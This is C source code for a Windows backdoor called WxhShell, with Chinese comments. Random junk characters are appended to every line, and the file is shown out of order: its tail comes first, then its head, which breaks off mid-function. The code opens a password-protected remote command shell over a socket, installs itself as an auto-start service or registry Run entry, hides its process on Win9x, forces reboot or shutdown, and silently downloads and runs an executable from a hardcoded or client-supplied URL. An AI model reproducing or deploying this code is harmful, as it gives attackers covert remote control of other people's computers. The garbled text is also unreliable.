    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o`G6!  
    if(Boot(SHUTDOWN)) -ijzo%&qA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cbl>:ev1h  
    else { _D$1CaAYo  
    closesocket(wsh); "Mz#1Laby`  
    ExitThread(0); xT(0-o*  
    } e+)y6Q=  
    break; hu.p;A3p;  
    } g#`}HuPoE  
  // 获取shell MJkusR/  
  case 's': { &XCP@@T  
    CmdShell(wsh); R+z'6&/ =I  
    closesocket(wsh); Kp^"<%RT  
    ExitThread(0); 5h|aX  
    break; ix$ ^1(  
  } #<X4RJ  
  // 退出 'T$Cw\F&  
  case 'x': { T?RN} @D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -xbs'[  
    CloseIt(wsh); t2Jf+t_B7  
    break; %!eRR  
    } G|RBwl  
  // 离开 =CO) Q2  
  case 'q': { B!&y>Z^$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K1o>>388G  
    closesocket(wsh); l(Dr@LB~  
    WSACleanup(); `Ns Q&G  
    exit(1); !&:Cp_  
    break;  ? 8/r=  
        } ;K~=? k  
  } }zxf~4 1  
  } P&=YLL<W  
qM+Ai*q  
  // 提示信息 Zb2PFwcy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Bex;!1  
} 0U:X[2|)  
  } JdLPIfI^  
pL!,1D!  
  return; <$K=3&:s8q  
} TspX7<6r  
k`&FyN^)  
// shell模块句柄 5gV,^[E-z  
int CmdShell(SOCKET sock) 'CSjj@3X  
{ hW'b'x<  
STARTUPINFO si; yf!7 Q>_G^  
ZeroMemory(&si,sizeof(si)); @$!6u0x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O2?yI8|Jn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EZ:? (|h  
PROCESS_INFORMATION ProcessInfo; x2a ?ugQ  
char cmdline[]="cmd"; S=lCzL;j"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [PB73q8  
  return 0; IZm6.F  
} `"PHhCG+z  
&@'%0s9g  
// 自身启动模式 ~@*q8l C  
int StartFromService(void) l1|*(%p?X  
{ q'a]DJ`  
typedef struct cMF)2^w}  
{ |d-x2M[  
  DWORD ExitStatus; xQU//kNL  
  DWORD PebBaseAddress; OI*ltba?  
  DWORD AffinityMask; Ly3!0P.<  
  DWORD BasePriority; d}tmZ*q  
  ULONG UniqueProcessId; 4n@>gW  
  ULONG InheritedFromUniqueProcessId; bCr W'}:de  
}   PROCESS_BASIC_INFORMATION; )P?Fni}  
QV.>Cy  
PROCNTQSIP NtQueryInformationProcess; $y,KDR7^  
<bo^uw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n#Dy YVb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4M>pHz4  
X lItg\R  
  HANDLE             hProcess; 1LSJy*yY  
  PROCESS_BASIC_INFORMATION pbi; xb%Q[V_m  
7w" !"W#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vea{o 35!  
  if(NULL == hInst ) return 0; '3U,UD5EG  
_ Pzgn@D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H! 5Ka#B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8+dsTX`|S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R+0gn/a[G  
-^yc<%U  
  if (!NtQueryInformationProcess) return 0; fZr{x$]N0  
a%BC{XX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /3k[3  
  if(!hProcess) return 0; m1j Eky(  
&=*1[j\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =,q/FY:  
[%R?^*]  
  CloseHandle(hProcess); re/u3\S  
<9"@<[[,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t( V 2  
if(hProcess==NULL) return 0; H.]V-|U  
T^vo9~N*  
HMODULE hMod; E;4B!"Q8  
char procName[255]; F.x7/;  
unsigned long cbNeeded; Rf8ZH  
IKnf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CQ<d  
Ye4 &4t  
  CloseHandle(hProcess); tDah@_  
`>g\gaQ  
if(strstr(procName,"services")) return 1; // 以服务启动 3BGcDyYE  
dc4XX5Z  
  return 0; // 注册表启动 aM1WC 'c&)  
} Qj1%'wWG  
:|S[i('  
// 主模块 j DEym&-  
int StartWxhshell(LPSTR lpCmdLine) ZL0k  
{ ^_3 $f  
  SOCKET wsl; 0YL*)=pD,  
BOOL val=TRUE; lul  
  int port=0; |oSt%l Q1  
  struct sockaddr_in door; A{B$$7%  
~N; dX[@BT  
  if(wscfg.ws_autoins) Install(); Fw(  
eYoc(bG(+  
port=atoi(lpCmdLine); 0vDvp`ie#4  
roAHkI  
if(port<=0) port=wscfg.ws_port; 2B6u) 95  
*^7^g!=z2  
  WSADATA data; |}e"6e%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uEr.LCAS  
R\n@q_!`X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    PBW_9&d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ? eI)m  
  door.sin_family = AF_INET; N4-Y0BO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {yT<22Fl  
  door.sin_port = htons(port); c[X6!_  
^t<L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { psx_gv,  
closesocket(wsl); qFDy)4H)  
return 1; i@WO>+iB  
} rGt]YG#C  
A>F&b1  
  if(listen(wsl,2) == INVALID_SOCKET) { -V@ST9`  
closesocket(wsl); y|*4XF<b  
return 1; Bqa_l|  
} SJj_e-  
  Wxhshell(wsl); ^tm2Duv  
  WSACleanup(); +JD^5J,-NJ  
n]5Pfg|a  
return 0; 6rG7/  
Yu&\a?]\2  
} FU}- .Ki  
QJkiu8r  
// 以NT服务方式启动 F3Da-6T@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _3f/lG?&-  
{ ;9=4]YZt  
DWORD   status = 0; G+C{_o#3  
  DWORD   specificError = 0xfffffff; Ssa/;O2  
^dxy%*Z/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Kb5}M/8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C5Fq%y{$.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e 1bV&  
  serviceStatus.dwWin32ExitCode     = 0; e2;=OoBK  
  serviceStatus.dwServiceSpecificExitCode = 0; l<sWM$ez  
  serviceStatus.dwCheckPoint       = 0; \B/( H)Cd*  
  serviceStatus.dwWaitHint       = 0; rvnm*e,  
{"|GV~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z Wx[@5  
  if (hServiceStatusHandle==0) return; QiRx2Z*\  
}!s$ / Kn  
status = GetLastError(); [ CU8%%7  
  if (status!=NO_ERROR) 55>+%@$,a  
{ c No)LF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,<OS: ]  
    serviceStatus.dwCheckPoint       = 0; Wk-. dJ  
    serviceStatus.dwWaitHint       = 0; ND 8;1+3  
    serviceStatus.dwWin32ExitCode     = status; m]=G73jzO  
    serviceStatus.dwServiceSpecificExitCode = specificError; .:;q8FL/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H0.&~!,*  
    return; l$!NEOK  
  } ke +\Z>BWN  
]Qx-f* D6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G jrN1+9=  
  serviceStatus.dwCheckPoint       = 0; ?f:\&+.&  
  serviceStatus.dwWaitHint       = 0; j=>WWlZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e<Oz%  
} V+*1?5w  
kwt;pxp i  
// 处理NT服务事件,比如:启动、停止 ?0s&Kz4B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "bO]AG  
{ G CcSI;w  
switch(fdwControl) 8Waic&lX~  
{ tjm@+xs  
case SERVICE_CONTROL_STOP: dUceZmAl  
  serviceStatus.dwWin32ExitCode = 0; Gh'{O/F4*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :J5CmU $  
  serviceStatus.dwCheckPoint   = 0; wLQM]$O  
  serviceStatus.dwWaitHint     = 0; (%M:=zm  
  { 9 &Od7Cn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /dVcNo3"  
  } D%'rq  
  return; #M[Cq= 2  
case SERVICE_CONTROL_PAUSE: *K=me/ 3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KiNluGNt  
  break; L=<,+m[!  
case SERVICE_CONTROL_CONTINUE: u C`)?f*I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W?12'EG}xa  
  break; JlH5 <:#PN  
case SERVICE_CONTROL_INTERROGATE: OPKmYzf@b  
  break; #xrE^Txh  
}; X^ 0jS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GlXzH1wZ  
} FC8= ru  
N sSl|m  
// 标准应用程序主函数 sWLH"'Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WOGMt T%  
{ g[xn0 rG  
3Q+THg3~?  
// 获取操作系统版本 qSL~A-  
OsIsNt=GetOsVer(); KH1/B_.\V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X@B,w_b  
f^XfIH_#  
  // 从命令行安装 !r0 z3^*N  
  if(strpbrk(lpCmdLine,"iI")) Install(); /lvH p  
U C9w T  
  // 下载执行文件 W}oAgUd  
if(wscfg.ws_downexe) { VoUAFEcs  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C? b_E  
  WinExec(wscfg.ws_filenam,SW_HIDE); g\,HiKBXd  
} ?DJ,YY9P  
( e(<4-&  
if(!OsIsNt) { %G~%:uJ5  
// 如果时win9x,隐藏进程并且设置为注册表启动 =CO#Q$  
HideProc(); ((_v>{  
StartWxhshell(lpCmdLine); 4T#Z[B[  
} TWQ{, B  
else >E(IkpZ  
  if(StartFromService()) *W<g%j-a  
  // 以服务方式启动 P1QGfp0-J  
  StartServiceCtrlDispatcher(DispatchTable); hLLg  
else JSiLG0  
  // 普通方式启动 j2{ '!  
  StartWxhshell(lpCmdLine); %OsV(7  
BhJ~jV"  
return 0; YJrZ  
} X?.LA7)CK  
FY]z*=  
1 Xu^pc  
%(wa~:m+S-  
=========================================== qdVExO&  
L~(`zO3f  
v~>4c<eG  
&+t,fwlM  
>@d=\Kyu  
*gzX=*;x+?  
" K29KS)~;W  
Ib8xvzR6I&  
#include <stdio.h> g8w5X!Z  
#include <string.h> BI6o@d;=4  
#include <windows.h> ?en%m|}0  
#include <winsock2.h> <:BhV82l  
#include <winsvc.h> A@"CrVE  
#include <urlmon.h> L pdp'9>I  
m)?cXM  
#pragma comment (lib, "Ws2_32.lib") eJ!a8   
#pragma comment (lib, "urlmon.lib") D8Vb@5MW  
tpi63<N  
#define MAX_USER   100 // 最大客户端连接数 "n@=.x  
#define BUF_SOCK   200 // sock buffer iPJZ%  
#define KEY_BUFF   255 // 输入 buffer H\<C@OkJS}  
N5[fw z w  
#define REBOOT     0   // 重启 eq\{*r"DCK  
#define SHUTDOWN   1   // 关机 O-vvFl#4  
kST  
#define DEF_PORT   5000 // 监听端口 R:v`\  
1)M>vdrP  
#define REG_LEN     16   // 注册表键长度 yeNC-U<  
#define SVC_LEN     80   // NT服务名长度 5ff66CRw  
2 }Q)&;u  
// 从dll定义API scUWI"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Re b^w,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k^.9;FmQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '&}B"1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S<LHNZu|^A  
5X-cDY*|  
// wxhshell配置信息 '%R Yo#  
struct WSCFG { N|h}'p  
  int ws_port;         // 监听端口 =`rESb[  
  char ws_passstr[REG_LEN]; // 口令 d&0^AvM@  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^@`dsll  
  char ws_regname[REG_LEN]; // 注册表键名 HtIM8z#/  
  char ws_svcname[REG_LEN]; // 服务名 ~>ACMO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RxkcQL/Le  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c>r0 N[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .)mw~3]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9oY%v7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h7  >  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p9 |r y+t  
q$s0zqV5  
}; U:xr['  
#x&1kHu<  
// default Wxhshell configuration F 3}cVO2bY  
struct WSCFG wscfg={DEF_PORT, P{)eZINlE  
    "xuhuanlingzhe", !T|X/B R  
    1, (a1s~  
    "Wxhshell", Z %MP:@z  
    "Wxhshell", y)!K@  
            "WxhShell Service", 810u +%fu  
    "Wrsky Windows CmdShell Service", t1.5hsp  
    "Please Input Your Password: ", NQ%lwE~  
  1, qMz0R\4  
  "http://www.wrsky.com/wxhshell.exe", Wel-a< e  
  "Wxhshell.exe" @QMMtfeLj  
    }; 0=&Hm).  
ek#{!9-  
// 消息定义模块 [>4Ou^=1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1< ;<?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :NO'[iE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dGcG7*EX  
char *msg_ws_ext="\n\rExit."; (6 fh[eK86  
char *msg_ws_end="\n\rQuit."; xq.,7#3  
char *msg_ws_boot="\n\rReboot..."; BxO8oKe  
char *msg_ws_poff="\n\rShutdown..."; i%0Ml:Y  
char *msg_ws_down="\n\rSave to "; y#^d8 }+  
kL,AY-Iu{@  
char *msg_ws_err="\n\rErr!"; SUfl`\O  
char *msg_ws_ok="\n\rOK!"; pNI=HHx  
pVP CxP  
char ExeFile[MAX_PATH]; {cKKTDN  
int nUser = 0; s&!g )  
HANDLE handles[MAX_USER]; C jsy1gA  
int OsIsNt; O%y.  
$ T.c>13  
SERVICE_STATUS       serviceStatus; V\WqA8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *^Wx=#w$V  
2RidI&?c<  
// 函数声明  -}{c;pT  
int Install(void); >ZuWsA0q  
int Uninstall(void); e&E""ye  
int DownloadFile(char *sURL, SOCKET wsh); n_hV;  
int Boot(int flag); u-At k-2M  
void HideProc(void); X61]N^y  
int GetOsVer(void); S=ebht=  
int Wxhshell(SOCKET wsl); q3e %L  
void TalkWithClient(void *cs); !,PG!Gnl  
int CmdShell(SOCKET sock); s 7iguFQ  
int StartFromService(void); 0S;H`w_S  
int StartWxhshell(LPSTR lpCmdLine); INE8@}e  
-Yy,L%E]F:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;+`t[ go  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z'JtH^^Z  
kA{[k  
// 数据结构和表定义 $+)SW {7  
SERVICE_TABLE_ENTRY DispatchTable[] = [F/>pL5U$  
{ gEMxK2MNXj  
{wscfg.ws_svcname, NTServiceMain}, {?17Zth  
{NULL, NULL} B3]q*ERAo  
}; NB;8 e>8  
noC ]&4b  
// 自我安装 E=3<F_3W  
int Install(void) YUat}-S  
{ |#Bz&T  
  char svExeFile[MAX_PATH]; G@ XKE17  
  HKEY key; _K3?0<=4  
  strcpy(svExeFile,ExeFile); NSUw7hnWvz  
k/?5Fs!#  
// 如果是win9x系统,修改注册表设为自启动 znzh$9tH  
if(!OsIsNt) { +HQX]t:Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6SIk?]u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |vw0:\/ H  
  RegCloseKey(key); Dx/BxqG6}_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (\>3FwFHW|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (V)nHF*<>  
  RegCloseKey(key); /\hybx'  
  return 0; N2vSJ\u  
    } kqYWa`eE  
  } BYFvf(>  
} >uN{cohs  
else { 0 Ji>dr n  
!v;N@C3C  
// 如果是NT以上系统,安装为系统服务 O{uc  h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !jGe_xB}~  
if (schSCManager!=0) 6LrG+p`  
{ 1WRQjT=o  
  SC_HANDLE schService = CreateService a.#`>  
  ( UR44 iA]  
  schSCManager, Ds? @ LE|  
  wscfg.ws_svcname, {M96jjiInf  
  wscfg.ws_svcdisp, /qa{*"2Qo  
  SERVICE_ALL_ACCESS, YD_hg#=n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4!64S5(7t  
  SERVICE_AUTO_START, lM~ 3yBy  
  SERVICE_ERROR_NORMAL, (B{`In8G>y  
  svExeFile, : a @_GIC  
  NULL, > L_kSC?  
  NULL, sa$CCQ  
  NULL, 8i/5L=a"`  
  NULL, '/%]B@!  
  NULL zgXg-cr  
  ); (`\ DDJ[  
  if (schService!=0) ?55t0  
  { :sAb'6u1EU  
  CloseServiceHandle(schService); gQMcQV]C$  
  CloseServiceHandle(schSCManager); ^<49NUB>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FD:3;nUY7  
  strcat(svExeFile,wscfg.ws_svcname); GX?R# cf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z{Z4{&M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \ :To\6\Ri  
  RegCloseKey(key); .R'<v^H  
  return 0; ,RjE?M%  
    } \!M6-kmi  
  } r#rL~Rsd}  
  CloseServiceHandle(schSCManager); A[:0?Ez=  
} P0VXHE1p  
} $`,10uw  
*;cvG?V  
return 1; :}'5'oVG  
} vqO d`_)  
DSjEoWj   
// 自我卸载 X5@+M!`  
int Uninstall(void)  |Hx#Uk#  
{ SO @d\H  
  HKEY key; n@|5PI"bx  
5My4a9  
if(!OsIsNt) { Od_xH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ""$vaqt  
  RegDeleteValue(key,wscfg.ws_regname); }7?_>  
  RegCloseKey(key); 6 G.(o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C.qN Bl*  
  RegDeleteValue(key,wscfg.ws_regname); 'D_a2xo0  
  RegCloseKey(key); =r z7x  
  return 0; :%G_<VAo!  
  } o;#:%  
} lTb4quf8I  
} ymH>] cUm  
else { m1bkY#\ U|  
[g )HoR=&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y7pwYRY  
if (schSCManager!=0) Z~R7 G  
{ y5/frJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6mp8v`b  
  if (schService!=0) B&:9uPRzZ  
  { WH|TdU$V  
  if(DeleteService(schService)!=0) { %Q,6sH#  
  CloseServiceHandle(schService); 3.?G,%S5.$  
  CloseServiceHandle(schSCManager); `/ <y0H  
  return 0; Sc b'  
  } xqm-m  
  CloseServiceHandle(schService); /bdL.Y#V  
  } 2<$pai"yl  
  CloseServiceHandle(schSCManager); 'q>2WP|UY9  
} 7R5m|h`M  
} a]H&k$!c  
^IQtXae6M  
return 1; DVJuX~'|!  
} X$r5KJU  
wrP3:!=  
// 从指定url下载文件 mVXwU](N  
int DownloadFile(char *sURL, SOCKET wsh) R+sv?4k  
{ /{6&99SJcc  
  HRESULT hr; l,fwF ua  
char seps[]= "/"; ,~Y[XazT  
char *token; ]@Z[/z%~04  
char *file; r:{;HM+  
char myURL[MAX_PATH]; oYx4+xH/  
char myFILE[MAX_PATH]; Ml,~@} p  
--OAsbr  
strcpy(myURL,sURL); ^8.s"4{  
  token=strtok(myURL,seps); h`i*~${yg  
  while(token!=NULL)  *.us IH2  
  { ;t~Y>,  
    file=token; "2 \},o9  
  token=strtok(NULL,seps); pTB1I3=.u  
  } SI`ems{1>c  
vVhSl$mW  
GetCurrentDirectory(MAX_PATH,myFILE); mzO5&h7  
strcat(myFILE, "\\"); CwjKz*'[g  
strcat(myFILE, file); i[Qq,MmC  
  send(wsh,myFILE,strlen(myFILE),0); / jLb{Ky  
send(wsh,"...",3,0); ]hMs:$}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >O]u4G!  
  if(hr==S_OK) J,G/L!Bp  
return 0; .R^R32ln  
else QXI#gA  =  
return 1; q}P UwN6  
mX/'Fta  
} 0g8ykGyx  
\B4f5 L8k  
// 系统电源模块 _ <Ip0?N  
int Boot(int flag) U| T}0  
{ Sq ]VtQ(  
  HANDLE hToken; qrHCr:~  
  TOKEN_PRIVILEGES tkp; A&N$=9.N1  
GvzaLEo  
  if(OsIsNt) { B/Js>R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7Y?59 [  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _U|rTil  
    tkp.PrivilegeCount = 1; \J(kevX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _TwE ym.V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |.OS7Gt?  
if(flag==REBOOT) { &( ZEs c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w-];!;%  
  return 0; btOx\y}  
} ;fYJ]5>  
else { HQZJK82  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wZ5k|5KtW  
  return 0; HCKocL/]h  
} _BEDQb{"|  
  } EG8%X"p  
  else { ZU$QwI8  
if(flag==REBOOT) { ep6V2R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6&"*{E  
  return 0; i"0*)$ h W  
} |w"G4J6ha  
else { =}" P;4:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nt%fJ k  
  return 0; !a4`SjOgu  
} ')T*cLQ><  
} ]`q]\EH  
y*Gq VA[  
return 1; ^V~^[Yp  
} mg< v9#  
d};[^q6X  
// win9x进程隐藏模块 9ec>#Vxx  
void HideProc(void) )gx*;z@  
{ t*`G@Nj  
)EK\3q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S c ijf 9  
  if ( hKernel != NULL ) %CZGV7JdA  
  { IL,iu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 33ZHrZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Jt:)(&-t   
    FreeLibrary(hKernel); CHi t{ @9  
  } @X2zIFm  
KBoW(OP4'  
return; vjVa),2  
} 29nMm>P.e  
+W/{UddeKU  
// 获取操作系统版本 TtrV -X>L  
int GetOsVer(void) dUBf.2 ry  
{ cj4o[l  
  OSVERSIONINFO winfo; V`0Y p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _&N:%;9uD  
  GetVersionEx(&winfo); 6FX]b4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (tF/2cZk  
  return 1; RWB]uHzE  
  else P_P~c~o  
  return 0; V#B'm?aQ  
} yjOZed;M  
.kyes4Z  
// 客户端句柄模块  T4J WZ  
int Wxhshell(SOCKET wsl) N3V4Mpf  
{ ]M 2n%9  
  SOCKET wsh; #<@_mbQ@|K  
  struct sockaddr_in client; UhXVeGO  
  DWORD myID; <'j ygZ(  
#sv:)p  
  while(nUser<MAX_USER) J[UTn'M8]  
{ <vzU}JA\  
  int nSize=sizeof(client); =I9hGj6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XM3~]  
  if(wsh==INVALID_SOCKET) return 1; (SCZ.G(>  
@.=2*e.z|b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); VrKLEN\  
if(handles[nUser]==0) MH]?:]K9V  
  closesocket(wsh); "HLh3L~  
else 5>:p'zI  
  nUser++; Va4AE)[/*  
  } ?'>[n m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PWV+ M@  
iA4VT,  
  return 0; .B! L+M< [  
} 3!Mb<W.3  
- v=ndJ.  
// 关闭 socket KhPDXY]!  
void CloseIt(SOCKET wsh) %+dRjG~TB  
{ 6|Crc$4l  
closesocket(wsh); "Z"`X3,-z  
nUser--;  "2 }n(8  
ExitThread(0); AY]rQ:I  
} )LL.fPic  
;`Sn66&  
// 客户端请求句柄 ?U,XyxN  
void TalkWithClient(void *cs) [C3wjYi  
{ U9Lo0K  
0Rn`63#  
  SOCKET wsh=(SOCKET)cs; "VeNc,-nfQ  
  char pwd[SVC_LEN]; B~3qEdoK5`  
  char cmd[KEY_BUFF]; aSeh?2n8  
char chr[1]; HmV JkkksJ  
int i,j; #b1/2=PA  
_Ry  
  while (nUser < MAX_USER) { @iVEnb.'  
ZO\bCrk  
if(wscfg.ws_passstr) { (DM8PtZg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d 8z9_C-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L @8[.  
  //ZeroMemory(pwd,KEY_BUFF);  P!/:yWd  
      i=0; UFE~6"t(  
  while(i<SVC_LEN) { ?osYs<k \  
%"3tGi:/  
  // 设置超时 AVp"<Uv  
  fd_set FdRead; ?o(Y\YJf  
  struct timeval TimeOut; I -XkxDw  
  FD_ZERO(&FdRead); \qbEC.-K  
  FD_SET(wsh,&FdRead); "; ?^gA  
  TimeOut.tv_sec=8; XE|"n  
  TimeOut.tv_usec=0; tTe:Oq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D|8h^*Ya  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FFc?Av?_  
:5zO!~\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K st2.Yy  
  pwd=chr[0]; k= 9a/M u  
  if(chr[0]==0xd || chr[0]==0xa) { ,oj)`?Vh  
  pwd=0; c+u) C%g  
  break; e pAC%a  
  } -vS7%Fbr  
  i++; 2J7JEv|  
    } lW@i,1  
zh4m`}p  
  // 如果是非法用户,关闭 socket t<qXXQ&5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CHM+@lD  
} iu'rc/=V  
3]/Y= A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `{\10j*B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i'0ol^~y6  
j"<F?k@`Q  
while(1) { 28o!>*  
Y.o-e)zX  
  ZeroMemory(cmd,KEY_BUFF); wk6tdY{&s  
u=B,i#>s  
      // 自动支持客户端 telnet标准   _lG\_6oJ,  
  j=0; NZ~"2~Hh  
  while(j<KEY_BUFF) { #]Q.B\\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K-7i4 ~  
  cmd[j]=chr[0]; G;bE_O  
  if(chr[0]==0xa || chr[0]==0xd) { {FM:\/  
  cmd[j]=0; 8KS9!*.iZ  
  break; qC YXkZ%`  
  } N:rnH:g+:  
  j++; iLkP@OYgQ  
    } Ks^EGy+O:-  
d#nKTqSg  
  // 下载文件 <k2]GI-}h  
  if(strstr(cmd,"http://")) { t/:]\|]WB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 51x)fZQ  
  if(DownloadFile(cmd,wsh)) Edav }z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !CuLXuM  
  else Og<UW^VR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YS&Q4nv-  
  } <o\I C?A  
  else { [y$sJF7;I  
TfqQh!Y  
